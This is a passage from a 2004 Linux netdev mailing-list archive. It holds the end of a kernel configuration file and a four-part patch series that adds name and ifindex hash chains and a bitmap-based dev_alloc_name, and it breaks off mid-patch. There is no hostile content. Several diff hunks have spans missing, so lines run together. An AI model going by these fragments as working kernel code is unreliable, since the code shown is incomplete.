CONFIG_SOUND_MAESTRO=m CONFIG_SOUND_MAESTRO3=m CONFIG_SOUND_ICH=m CONFIG_SOUND_SONICVIBES=m CONFIG_SOUND_TRIDENT=m # CONFIG_SOUND_MSNDCLAS is not set # CONFIG_SOUND_MSNDPIN is not set CONFIG_SOUND_VIA82CXXX=m CONFIG_MIDI_VIA82CXXX=y CONFIG_SOUND_OSS=m # CONFIG_SOUND_TRACEINIT is not set # CONFIG_SOUND_DMAP is not set CONFIG_SOUND_AD1816=m CONFIG_SOUND_AD1889=m CONFIG_SOUND_SGALAXY=m CONFIG_SOUND_ADLIB=m CONFIG_SOUND_ACI_MIXER=m CONFIG_SOUND_CS4232=m CONFIG_SOUND_SSCAPE=m CONFIG_SOUND_GUS=m CONFIG_SOUND_GUS16=y CONFIG_SOUND_GUSMAX=y CONFIG_SOUND_VMIDI=m CONFIG_SOUND_TRIX=m CONFIG_SOUND_MSS=m CONFIG_SOUND_MPU401=m CONFIG_SOUND_NM256=m CONFIG_SOUND_MAD16=m CONFIG_MAD16_OLDCARD=y CONFIG_SOUND_PAS=m CONFIG_SOUND_PSS=m CONFIG_PSS_MIXER=y CONFIG_SOUND_SB=m CONFIG_SOUND_AWE32_SYNTH=m CONFIG_SOUND_WAVEFRONT=m CONFIG_SOUND_MAUI=m CONFIG_SOUND_YM3812=m CONFIG_SOUND_OPL3SA1=m CONFIG_SOUND_OPL3SA2=m CONFIG_SOUND_YMFPCI=m CONFIG_SOUND_YMFPCI_LEGACY=y CONFIG_SOUND_UART6850=m CONFIG_SOUND_AEDSP16=m CONFIG_SC6600=y CONFIG_SC6600_JOY=y CONFIG_SC6600_CDROM=4 CONFIG_SC6600_CDROMBASE=0x0 # CONFIG_AEDSP16_MSS is not set CONFIG_AEDSP16_SBPRO=y CONFIG_AEDSP16_MPU401=y CONFIG_SOUND_TVMIXER=m CONFIG_SOUND_KAHLUA=m CONFIG_SOUND_ALI5455=m CONFIG_SOUND_FORTE=m CONFIG_SOUND_RME96XX=m CONFIG_SOUND_AD1980=m # # USB support # CONFIG_USB=m # CONFIG_USB_DEBUG is not set # # Miscellaneous USB options # CONFIG_USB_DEVICEFS=y CONFIG_USB_BANDWIDTH=y CONFIG_USB_DYNAMIC_MINORS=y # # USB Host Controller Drivers # CONFIG_USB_EHCI_HCD=m CONFIG_USB_OHCI_HCD=m CONFIG_USB_UHCI_HCD=m # # USB Device Class drivers # CONFIG_USB_AUDIO=m # # USB Bluetooth TTY can only be used with disabled Bluetooth subsystem # CONFIG_USB_MIDI=m CONFIG_USB_ACM=m CONFIG_USB_PRINTER=m CONFIG_USB_STORAGE=m # CONFIG_USB_STORAGE_DEBUG is not set CONFIG_USB_STORAGE_DATAFAB=y CONFIG_USB_STORAGE_FREECOM=y CONFIG_USB_STORAGE_ISD200=y CONFIG_USB_STORAGE_DPCM=y CONFIG_USB_STORAGE_HP8200e=y CONFIG_USB_STORAGE_SDDR09=y CONFIG_USB_STORAGE_SDDR55=y CONFIG_USB_STORAGE_JUMPSHOT=y # # USB Human Interface Devices (HID) # CONFIG_USB_HID=m CONFIG_USB_HIDINPUT=y CONFIG_HID_FF=y CONFIG_HID_PID=y CONFIG_LOGITECH_FF=y CONFIG_THRUSTMASTER_FF=y CONFIG_USB_HIDDEV=y # # USB HID Boot Protocol drivers # CONFIG_USB_KBD=m CONFIG_USB_MOUSE=m CONFIG_USB_AIPTEK=m CONFIG_USB_WACOM=m CONFIG_USB_KBTAB=m CONFIG_USB_POWERMATE=m CONFIG_USB_XPAD=m # # USB Imaging devices # CONFIG_USB_MDC800=m CONFIG_USB_SCANNER=m CONFIG_USB_MICROTEK=m CONFIG_USB_HPUSBSCSI=m # # USB Multimedia devices # CONFIG_USB_DABUSB=m CONFIG_USB_VICAM=m CONFIG_USB_DSBR=m CONFIG_USB_IBMCAM=m CONFIG_USB_KONICAWC=m CONFIG_USB_OV511=m CONFIG_USB_PWC=m CONFIG_USB_SE401=m CONFIG_USB_STV680=m CONFIG_USB_W9968CF=m # # USB Network adaptors # CONFIG_USB_CATC=m CONFIG_USB_KAWETH=m CONFIG_USB_PEGASUS=m CONFIG_USB_RTL8150=m CONFIG_USB_USBNET=m # # USB Host-to-Host Cables # CONFIG_USB_AN2720=y CONFIG_USB_BELKIN=y CONFIG_USB_GENESYS=y CONFIG_USB_NET1080=y CONFIG_USB_PL2301=y # # Intelligent USB Devices/Gadgets # CONFIG_USB_ARMLINUX=y CONFIG_USB_EPSON2888=y CONFIG_USB_ZAURUS=y CONFIG_USB_CDCETHER=y # # USB Network Adapters # CONFIG_USB_AX8817X=y # # USB port drivers # CONFIG_USB_USS720=m # # USB Serial Converter support # CONFIG_USB_SERIAL=m CONFIG_USB_SERIAL_GENERIC=y CONFIG_USB_SERIAL_BELKIN=m CONFIG_USB_SERIAL_WHITEHEAT=m CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m CONFIG_USB_SERIAL_EMPEG=m CONFIG_USB_SERIAL_FTDI_SIO=m CONFIG_USB_SERIAL_VISOR=m CONFIG_USB_SERIAL_IPAQ=m CONFIG_USB_SERIAL_IR=m CONFIG_USB_SERIAL_EDGEPORT=m CONFIG_USB_SERIAL_EDGEPORT_TI=m CONFIG_USB_SERIAL_KEYSPAN_PDA=m CONFIG_USB_SERIAL_KEYSPAN=m CONFIG_USB_SERIAL_KEYSPAN_MPR=y CONFIG_USB_SERIAL_KEYSPAN_USA28=y CONFIG_USB_SERIAL_KEYSPAN_USA28X=y CONFIG_USB_SERIAL_KEYSPAN_USA28XA=y CONFIG_USB_SERIAL_KEYSPAN_USA28XB=y CONFIG_USB_SERIAL_KEYSPAN_USA19=y CONFIG_USB_SERIAL_KEYSPAN_USA18X=y CONFIG_USB_SERIAL_KEYSPAN_USA19W=y CONFIG_USB_SERIAL_KEYSPAN_USA19QW=y CONFIG_USB_SERIAL_KEYSPAN_USA19QI=y CONFIG_USB_SERIAL_KEYSPAN_USA49W=y CONFIG_USB_SERIAL_KEYSPAN_USA49WLC=y CONFIG_USB_SERIAL_KLSI=m CONFIG_USB_SERIAL_KOBIL_SCT=m CONFIG_USB_SERIAL_MCT_U232=m CONFIG_USB_SERIAL_PL2303=m CONFIG_USB_SERIAL_SAFE=m CONFIG_USB_SERIAL_SAFE_PADDED=y CONFIG_USB_SERIAL_CYBERJACK=m CONFIG_USB_SERIAL_XIRCOM=m CONFIG_USB_SERIAL_OMNINET=m CONFIG_USB_EZUSB=y # # USB Miscellaneous drivers # CONFIG_USB_EMI26=m CONFIG_USB_TIGL=m CONFIG_USB_AUERSWALD=m CONFIG_USB_RIO500=m CONFIG_USB_LEGOTOWER=m CONFIG_USB_BRLVGER=m CONFIG_USB_LCD=m CONFIG_USB_SPEEDTOUCH=m CONFIG_USB_TEST=m CONFIG_USB_GADGET=m CONFIG_USB_NET2280=m CONFIG_USB_ZERO=m CONFIG_USB_ZERO_NET2280=y CONFIG_USB_ETH=m CONFIG_USB_ETH_NET2280=y CONFIG_USB_GADGETFS=m CONFIG_USB_GADGETFS_NET2280=y # # File systems # CONFIG_EXT2_FS=m CONFIG_EXT2_FS_XATTR=y CONFIG_EXT2_FS_POSIX_ACL=y CONFIG_EXT2_FS_SECURITY=y CONFIG_EXT3_FS=m CONFIG_EXT3_FS_XATTR=y CONFIG_EXT3_FS_POSIX_ACL=y CONFIG_EXT3_FS_SECURITY=y CONFIG_JBD=m # CONFIG_JBD_DEBUG is not set CONFIG_FS_MBCACHE=m CONFIG_REISERFS_FS=y # CONFIG_REISERFS_CHECK is not set CONFIG_REISERFS_PROC_INFO=y CONFIG_JFS_FS=m CONFIG_JFS_POSIX_ACL=y # CONFIG_JFS_DEBUG is not set CONFIG_JFS_STATISTICS=y CONFIG_FS_POSIX_ACL=y CONFIG_XFS_FS=m CONFIG_XFS_RT=y CONFIG_XFS_QUOTA=y CONFIG_XFS_POSIX_ACL=y CONFIG_MINIX_FS=m CONFIG_ROMFS_FS=m CONFIG_QUOTA=y CONFIG_QFMT_V1=m CONFIG_QFMT_V2=m CONFIG_QUOTACTL=y CONFIG_AUTOFS_FS=m CONFIG_AUTOFS4_FS=m # # CD-ROM/DVD Filesystems # CONFIG_ISO9660_FS=m CONFIG_JOLIET=y CONFIG_ZISOFS=y CONFIG_ZISOFS_FS=m CONFIG_UDF_FS=m # # DOS/FAT/NT Filesystems # CONFIG_FAT_FS=m CONFIG_MSDOS_FS=m CONFIG_VFAT_FS=m CONFIG_NTFS_FS=m # CONFIG_NTFS_DEBUG is not set CONFIG_NTFS_RW=y # # Pseudo filesystems # CONFIG_PROC_FS=y CONFIG_PROC_KCORE=y CONFIG_SYSFS=y # CONFIG_DEVFS_FS is not set CONFIG_DEVPTS_FS=y CONFIG_DEVPTS_FS_XATTR=y CONFIG_DEVPTS_FS_SECURITY=y CONFIG_TMPFS=y CONFIG_HUGETLBFS=y CONFIG_HUGETLB_PAGE=y CONFIG_RAMFS=y # # Miscellaneous filesystems # CONFIG_ADFS_FS=m # CONFIG_ADFS_FS_RW is not set CONFIG_AFFS_FS=m CONFIG_HFS_FS=m CONFIG_BEFS_FS=m # CONFIG_BEFS_DEBUG is not set CONFIG_BFS_FS=m CONFIG_EFS_FS=m CONFIG_JFFS_FS=m CONFIG_JFFS_FS_VERBOSE=0 CONFIG_JFFS2_FS=m CONFIG_JFFS2_FS_DEBUG=0 CONFIG_JFFS2_FS_NAND=y CONFIG_CRAMFS=m CONFIG_VXFS_FS=m CONFIG_HPFS_FS=m CONFIG_QNX4FS_FS=m # CONFIG_QNX4FS_RW is not set CONFIG_SYSV_FS=m CONFIG_UFS_FS=m # CONFIG_UFS_FS_WRITE is not set # # Network File Systems # CONFIG_NFS_FS=m CONFIG_NFS_V3=y CONFIG_NFS_V4=y CONFIG_NFS_DIRECTIO=y CONFIG_NFSD=m CONFIG_NFSD_V3=y CONFIG_NFSD_V4=y CONFIG_NFSD_TCP=y CONFIG_LOCKD=m CONFIG_LOCKD_V4=y CONFIG_EXPORTFS=m CONFIG_SUNRPC=m CONFIG_SUNRPC_GSS=m CONFIG_RPCSEC_GSS_KRB5=m CONFIG_SMB_FS=m CONFIG_SMB_NLS_DEFAULT=y CONFIG_SMB_NLS_REMOTE="cp850" CONFIG_CIFS=m CONFIG_NCP_FS=m CONFIG_NCPFS_PACKET_SIGNING=y CONFIG_NCPFS_IOCTL_LOCKING=y CONFIG_NCPFS_STRONG=y CONFIG_NCPFS_NFS_NS=y CONFIG_NCPFS_OS2_NS=y CONFIG_NCPFS_SMALLDOS=y CONFIG_NCPFS_NLS=y CONFIG_NCPFS_EXTRAS=y CONFIG_CODA_FS=m # CONFIG_CODA_FS_OLD_API is not set CONFIG_INTERMEZZO_FS=m CONFIG_AFS_FS=m CONFIG_RXRPC=m # # Partition Types # # CONFIG_PARTITION_ADVANCED is not set CONFIG_MSDOS_PARTITION=y # # Native Language Support # CONFIG_NLS=y CONFIG_NLS_DEFAULT="iso8859-15" CONFIG_NLS_CODEPAGE_437=m CONFIG_NLS_CODEPAGE_737=m CONFIG_NLS_CODEPAGE_775=m CONFIG_NLS_CODEPAGE_850=m CONFIG_NLS_CODEPAGE_852=m CONFIG_NLS_CODEPAGE_855=m CONFIG_NLS_CODEPAGE_857=m CONFIG_NLS_CODEPAGE_860=m CONFIG_NLS_CODEPAGE_861=m CONFIG_NLS_CODEPAGE_862=m CONFIG_NLS_CODEPAGE_863=m CONFIG_NLS_CODEPAGE_864=m CONFIG_NLS_CODEPAGE_865=m CONFIG_NLS_CODEPAGE_866=m CONFIG_NLS_CODEPAGE_869=m CONFIG_NLS_CODEPAGE_936=m CONFIG_NLS_CODEPAGE_950=m CONFIG_NLS_CODEPAGE_932=m CONFIG_NLS_CODEPAGE_949=m CONFIG_NLS_CODEPAGE_874=m CONFIG_NLS_ISO8859_8=m CONFIG_NLS_CODEPAGE_1250=m CONFIG_NLS_CODEPAGE_1251=m CONFIG_NLS_ISO8859_1=m CONFIG_NLS_ISO8859_2=m CONFIG_NLS_ISO8859_3=m CONFIG_NLS_ISO8859_4=m CONFIG_NLS_ISO8859_5=m CONFIG_NLS_ISO8859_6=m CONFIG_NLS_ISO8859_7=m CONFIG_NLS_ISO8859_9=m CONFIG_NLS_ISO8859_13=m CONFIG_NLS_ISO8859_14=m CONFIG_NLS_ISO8859_15=m CONFIG_NLS_KOI8_R=m CONFIG_NLS_KOI8_U=m CONFIG_NLS_UTF8=m # # Profiling support # CONFIG_PROFILING=y CONFIG_OPROFILE=m # # Kernel hacking # # CONFIG_DEBUG_KERNEL is not set CONFIG_DEBUG_SPINLOCK_SLEEP=y # CONFIG_FRAME_POINTER is not set CONFIG_X86_EXTRA_IRQS=y CONFIG_X86_FIND_SMP_CONFIG=y CONFIG_X86_MPPARSE=y # # Security options # CONFIG_SECURITY=y CONFIG_SECURITY_NETWORK=y CONFIG_SECURITY_CAPABILITIES=m CONFIG_SECURITY_ROOTPLUG=m CONFIG_SECURITY_SELINUX=y CONFIG_SECURITY_SELINUX_BOOTPARAM=y CONFIG_SECURITY_SELINUX_DEVELOP=y CONFIG_SECURITY_SELINUX_MLS=y # # Cryptographic options # CONFIG_CRYPTO=y CONFIG_CRYPTO_HMAC=y CONFIG_CRYPTO_NULL=m CONFIG_CRYPTO_MD4=m CONFIG_CRYPTO_MD5=m CONFIG_CRYPTO_SHA1=m CONFIG_CRYPTO_SHA256=m CONFIG_CRYPTO_SHA512=m CONFIG_CRYPTO_DES=m CONFIG_CRYPTO_BLOWFISH=m CONFIG_CRYPTO_TWOFISH=m CONFIG_CRYPTO_SERPENT=m CONFIG_CRYPTO_AES=m CONFIG_CRYPTO_CAST5=m CONFIG_CRYPTO_CAST6=m CONFIG_CRYPTO_DEFLATE=m CONFIG_CRYPTO_TEST=m # # Library routines # CONFIG_CRC32=m CONFIG_ZLIB_INFLATE=m CONFIG_ZLIB_DEFLATE=m CONFIG_X86_BIOS_REBOOT=y CONFIG_PC=y --Boundary-01=_BaHCA0Tm7A9XggG-- --Boundary-03=_EaHCAZyfax5MFq5 Content-Type: application/pgp-signature Content-Description: signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQBACHaEYAiN+WRIZzQRAqnKAKDE/GGih2XwgcJM6oiArqaMyoliOACfZ1db VgWiVs8FoA1quM8jWm4IZvo= =kVI6 -----END PGP SIGNATURE----- --Boundary-03=_EaHCAZyfax5MFq5-- From shemminger@osdl.org Fri Jan 16 15:47:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 15:47:19 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GNl3mK015560 for ; Fri, 16 Jan 2004 15:47:06 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0GNkqo28136; Fri, 16 Jan 2004 15:46:52 -0800 Date: Fri, 16 Jan 2004 15:46:52 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (1/4) support large number of network devices Message-Id: <20040116154652.04dd3324.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2554 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2320 Lines: 72 In preparation for the other changes to allow large number of network devices, move the device table head and lock from over in the network drivers setup code into the core netdev code. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Thu Jan 15 16:12:02 2004 +++ b/drivers/net/Space.c Thu Jan 15 16:12:02 2004 @@ -455,28 +455,3 @@ } device_initcall(net_olddevs_init); - -/* - * The @dev_base list is protected by @dev_base_lock and the rtln - * semaphore. - * - * Pure readers hold dev_base_lock for reading. - * - * Writers must hold the rtnl semaphore while they loop through the - * dev_base list, and hold dev_base_lock for writing when they do the - * actual updates. This allows pure readers to access the list even - * while a writer is preparing to update it. - * - * To put it another way, dev_base_lock is held for writing only to - * protect against pure readers; the rtnl semaphore provides the - * protection against other writers. - * - * See, for example usages, register_netdevice() and - * unregister_netdevice(), which must be called with the rtnl - * semaphore held. - */ -struct net_device *dev_base; -rwlock_t dev_base_lock = RW_LOCK_UNLOCKED; - -EXPORT_SYMBOL(dev_base); -EXPORT_SYMBOL(dev_base_lock); diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Thu Jan 15 16:12:02 2004 +++ b/net/core/dev.c Thu Jan 15 16:12:02 2004 @@ -161,6 +161,31 @@ #endif /* + * The @dev_base list is protected by @dev_base_lock and the rtln + * semaphore. + * + * Pure readers hold dev_base_lock for reading. + * + * Writers must hold the rtnl semaphore while they loop through the + * dev_base list, and hold dev_base_lock for writing when they do the + * actual updates. This allows pure readers to access the list even + * while a writer is preparing to update it. + * + * To put it another way, dev_base_lock is held for writing only to + * protect against pure readers; the rtnl semaphore provides the + * protection against other writers. + * + * See, for example usages, register_netdevice() and + * unregister_netdevice(), which must be called with the rtnl + * semaphore held. + */ +struct net_device *dev_base; +rwlock_t dev_base_lock = RW_LOCK_UNLOCKED; + +EXPORT_SYMBOL(dev_base); +EXPORT_SYMBOL(dev_base_lock); + +/* * Our notifier list */ From shemminger@osdl.org Fri Jan 16 15:48:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 15:48:38 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GNmPmK015935 for ; Fri, 16 Jan 2004 15:48:25 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0GNmEo28999; Fri, 16 Jan 2004 15:48:14 -0800 Date: Fri, 16 Jan 2004 15:48:14 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (2/4) support large number of network devices -- name hash Message-Id: <20040116154814.7c7f31ac.shemminger@osdl.org> In-Reply-To: <20040116154652.04dd3324.shemminger@osdl.org> References: <20040116154652.04dd3324.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2555 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3828 Lines: 141 Add a hash list to speed lookup's of network device name used in dev_alloc_name and by other protocols. Keep a tail pointer as well to allow quick append to the end of the device singly linked device list. Note: Uses 8bits for hash and the filename hash function diff -Nru a/include/linux/netdevice.h b/include/linux/netdevice.h --- a/include/linux/netdevice.h Fri Jan 16 14:20:47 2004 +++ b/include/linux/netdevice.h Fri Jan 16 14:20:47 2004 @@ -375,6 +375,8 @@ atomic_t refcnt; /* delayed register/unregister */ struct list_head todo_list; + /* device name hash chain */ + struct hlist_node name_hlist; /* register/unregister state machine */ enum { NETREG_UNINITIALIZED=0, diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Fri Jan 16 14:20:47 2004 +++ b/net/core/dev.c Fri Jan 16 14:20:47 2004 @@ -180,11 +180,22 @@ * semaphore held. */ struct net_device *dev_base; +struct net_device **dev_tail = &dev_base; rwlock_t dev_base_lock = RW_LOCK_UNLOCKED; EXPORT_SYMBOL(dev_base); EXPORT_SYMBOL(dev_base_lock); +#define NETDEV_HASHBITS 8 +static struct hlist_head dev_name_head[1<next) + hlist_for_each(p, dev_name_hash(name)) { + struct net_device *dev + = hlist_entry(p, struct net_device, name_hlist); if (!strncmp(dev->name, name, IFNAMSIZ)) - break; - return dev; + return dev; + } + return NULL; } /** @@ -730,6 +744,9 @@ else strlcpy(dev->name, newname, IFNAMSIZ); + hlist_del(&dev->name_hlist); + hlist_add_head(&dev->name_hlist, dev_name_hash(dev->name)); + class_device_rename(&dev->class_dev, dev->name); notifier_call_chain(&netdev_chain, NETDEV_CHANGENAME, dev); return 0; @@ -2718,7 +2735,8 @@ int register_netdevice(struct net_device *dev) { - struct net_device *d, **dp; + struct hlist_head *head; + struct hlist_node *p; int ret; BUG_ON(dev_boot_phase); @@ -2759,13 +2777,17 @@ if (dev->iflink == -1) dev->iflink = dev->ifindex; - /* Check for existence, and append to tail of chain */ - ret = -EEXIST; - for (dp = &dev_base; (d = *dp) != NULL; dp = &d->next) { - if (d == dev || !strcmp(d->name, dev->name)) - goto out_err; - } - + /* Check for existence of name */ + head = dev_name_hash(dev->name); + hlist_for_each(p, head) { + struct net_device *d + = hlist_entry(p, struct net_device, name_hlist); + if (!strncmp(d->name, dev->name, IFNAMSIZ)) { + ret = -EEXIST; + goto out_err; + } + } + /* Fix illegal SG+CSUM combinations. */ if ((dev->features & NETIF_F_SG) && !(dev->features & (NETIF_F_IP_CSUM | @@ -2794,7 +2816,9 @@ dev->next = NULL; dev_init_scheduler(dev); write_lock_bh(&dev_base_lock); - *dp = dev; + *dev_tail = dev; + dev_tail = &dev->next; + hlist_add_head(&dev->name_hlist, head); dev_hold(dev); dev->reg_state = NETREG_REGISTERING; write_unlock_bh(&dev_base_lock); @@ -3016,6 +3040,9 @@ for (dp = &dev_base; (d = *dp) != NULL; dp = &d->next) { if (d == dev) { write_lock_bh(&dev_base_lock); + hlist_del(&dev->name_hlist); + if (dev_tail == &dev->next) + dev_tail = dp; *dp = d->next; write_unlock_bh(&dev_base_lock); break; @@ -3091,6 +3118,9 @@ INIT_LIST_HEAD(&ptype_all); for (i = 0; i < 16; i++) INIT_LIST_HEAD(&ptype_base[i]); + + for (i = 0; i < ARRAY_SIZE(dev_name_head); i++) + INIT_HLIST_HEAD(&dev_name_head[i]); /* * Initialise the packet receive queues. From shemminger@osdl.org Fri Jan 16 15:49:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 15:49:40 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GNnRmK016632 for ; Fri, 16 Jan 2004 15:49:27 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0GNnGo29216; Fri, 16 Jan 2004 15:49:16 -0800 Date: Fri, 16 Jan 2004 15:49:15 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (3/4) support large number of network devices -- hash ifindex Message-Id: <20040116154915.7a6b1fb6.shemminger@osdl.org> In-Reply-To: <20040116154652.04dd3324.shemminger@osdl.org> References: <20040116154652.04dd3324.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2556 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2352 Lines: 85 Add an additional hash chain to keep track of network devices by index. This gets used during route manipulation and when allocating a unique ifindex. diff -Nru a/include/linux/netdevice.h b/include/linux/netdevice.h --- a/include/linux/netdevice.h Fri Jan 16 09:27:12 2004 +++ b/include/linux/netdevice.h Fri Jan 16 09:27:12 2004 @@ -377,6 +377,8 @@ struct list_head todo_list; /* device name hash chain */ struct hlist_node name_hlist; + /* device index hash chain */ + struct hlist_node index_hlist; /* register/unregister state machine */ enum { NETREG_UNINITIALIZED=0, diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Fri Jan 16 09:27:12 2004 +++ b/net/core/dev.c Fri Jan 16 09:27:12 2004 @@ -188,6 +188,7 @@ #define NETDEV_HASHBITS 8 static struct hlist_head dev_name_head[1<next) + hlist_for_each(p, dev_index_hash(ifindex)) { + struct net_device *dev + = hlist_entry(p, struct net_device, index_hlist); if (dev->ifindex == ifindex) - break; - return dev; + return dev; + } + return NULL; } @@ -2819,6 +2828,7 @@ *dev_tail = dev; dev_tail = &dev->next; hlist_add_head(&dev->name_hlist, head); + hlist_add_head(&dev->index_hlist, dev_index_hash(dev->ifindex)); dev_hold(dev); dev->reg_state = NETREG_REGISTERING; write_unlock_bh(&dev_base_lock); @@ -3041,6 +3051,7 @@ if (d == dev) { write_lock_bh(&dev_base_lock); hlist_del(&dev->name_hlist); + hlist_del(&dev->index_hlist); if (dev_tail == &dev->next) dev_tail = dp; *dp = d->next; @@ -3121,6 +3132,9 @@ for (i = 0; i < ARRAY_SIZE(dev_name_head); i++) INIT_HLIST_HEAD(&dev_name_head[i]); + + for (i = 0; i < ARRAY_SIZE(dev_index_head); i++) + INIT_HLIST_HEAD(&dev_index_head[i]); /* * Initialise the packet receive queues. From shemminger@osdl.org Fri Jan 16 15:50:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 15:50:32 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GNoImK016935 for ; Fri, 16 Jan 2004 15:50:19 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0GNo7o29414; Fri, 16 Jan 2004 15:50:07 -0800 Date: Fri, 16 Jan 2004 15:50:07 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (4/4) support large number of network devices -- alloc_name bitmap Message-Id: <20040116155007.6b68844f.shemminger@osdl.org> In-Reply-To: <20040116154652.04dd3324.shemminger@osdl.org> References: <20040116154652.04dd3324.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2557 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2041 Lines: 76 Convert dev_alloc_name from O(n^2) algorithm with a limit of 100 of same prefix; to a two pass O(n) algorithim with a limit of 32k devices with the same prefix. This version finds the first free slot, and handles overflow correctly for long names. diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Fri Jan 16 15:45:04 2004 +++ b/net/core/dev.c Fri Jan 16 15:45:04 2004 @@ -698,8 +698,11 @@ int dev_alloc_name(struct net_device *dev, const char *name) { int i; - char buf[32]; - char *p; + char buf[IFNAMSIZ]; + const char *p; + const int max_netdevices = 8*PAGE_SIZE; + long *inuse; + struct net_device *d; /* * Verify the string as this thing may have come from @@ -707,20 +710,41 @@ * characters, or no "%" characters at all. */ p = strchr(name, '%'); - if (p && (p[1] != 'd' || strchr(p + 2, '%'))) + if (p && ((p[1] != 'd' || strchr(p + 2, '%')) + || (p - name) > IFNAMSIZ-2)) return -EINVAL; - /* - * If you need over 100 please also fix the algorithm... - */ - for (i = 0; i < 100; i++) { + /* Use one page as a bit array of possible slots */ + inuse = (long *) get_zeroed_page(GFP_ATOMIC); + if (!inuse) + return -ENOMEM; + + for (d = dev_base; d; d = d->next) { + if (!sscanf(d->name, name, &i)) + continue; + if (i < 0 || i >= max_netdevices) + continue; + + /* avoid cases where sscanf is not exact inverse of printf */ snprintf(buf, sizeof(buf), name, i); - if (!__dev_get_by_name(buf)) { - strcpy(dev->name, buf); - return i; - } + if (!strncmp(buf, d->name, IFNAMSIZ)) + set_bit(i, inuse); } - return -ENFILE; /* Over 100 of the things .. bail out! */ + + i = find_first_zero_bit(inuse, max_netdevices); + free_page((unsigned long) inuse); + + snprintf(buf, sizeof(buf), name, i); + if (!__dev_get_by_name(buf)) { + strlcpy(dev->name, buf, IFNAMSIZ); + return i; + } + + /* It is possible to run out of possible slots + * when the name is long and there 